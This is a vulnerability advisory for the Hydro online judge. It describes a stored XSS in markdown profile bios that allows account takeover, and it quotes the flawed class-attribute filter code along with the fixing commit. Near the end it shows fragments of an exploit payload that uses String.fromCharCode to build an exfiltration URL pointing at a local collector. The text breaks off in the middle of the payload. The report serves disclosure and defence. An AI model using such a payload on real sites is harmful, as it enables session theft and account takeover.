# Hydro Vulnerability Report Software: Hydro Developer or vendor: hydro-dev Code repository: https://github.com/hydro-dev/Hydro ## 1. Stored XSS in the Markdown Bio Leads to Account Takeover Brief description: An attacker with a regular account writes crafted markdown into their bio. When a victim opens the attacker's profile, the script executes and takes over the victim's account. Affected versions: 4.16.1 to 5.1.0 (UI ≤ 4.59.0) Preconditions: The attacker has a regular account. Fix: [Hydro commit 3bae56fe](https://github.com/hydro-dev/Hydro/commit/3bae56fe8edddff12346bcb1c8281269c94688d8) ### Root Cause A user's bio is stored as markdown and passed to `FilterXSS` by `xssProtector` when rendered. The relevant code is: ```ts // packages/ui-default/backendlib/markdown-it-xss.ts:180-199 commit 3c8286dd13 export function xssProtector(md) { function protector(state) { const processor = state.inlineMode ? xssInline : xss; for (let i = 0; i < state.tokens.length; i++) { const cur = state.tokens[i]; if (cur.type === 'html_block') { cur.content = processor.process(cur.content); } if (cur.type === 'inline') { const inlineTokens = cur.children; for (let ii = 0; ii < inlineTokens.length; ii++) { if (inlineTokens[ii].type === 'html_inline') { inlineTokens[ii].content = processor.process(inlineTokens[ii].content); } } } } } md.core.ruler.after('linkify', 'xss', protector); } ``` `xss` overrides `safeAttrValue` of FilterXSS. The `class` branch splits the value on spaces and keeps whitelisted entries and entries starting with `language-`. The return value does not pass through `escapeAttrValue`. The relevant code is: ```ts // packages/ui-default/backendlib/markdown-it-xss.ts:152-156 commit 3c8286dd13 safeAttrValue(tag, name, value) { if (name === 'id') return escapeAttrValue(`xss-id-${value}`); if (name === 'class') { return value.split(' ').filter((i) => whitelistClasses.includes(i) || i.startsWith('language-')).join(' '); } return safeAttrValue(tag, name, value, CssFilter); } ``` The `language-` exception was introduced in commit `d9a903de86` and first shipped in 4.16.1. 4.16.0 and earlier have no such branch in the `class` filter. FilterXSS then places the returned value into `class="..."`. If the value contains a double quote, the attribute ends early and the following `'> ``` `String.fromCharCode` builds `http://127.0.0.1:9999/?c=`, so the payload contains no quotes or spaces. The `class` value is `language-a">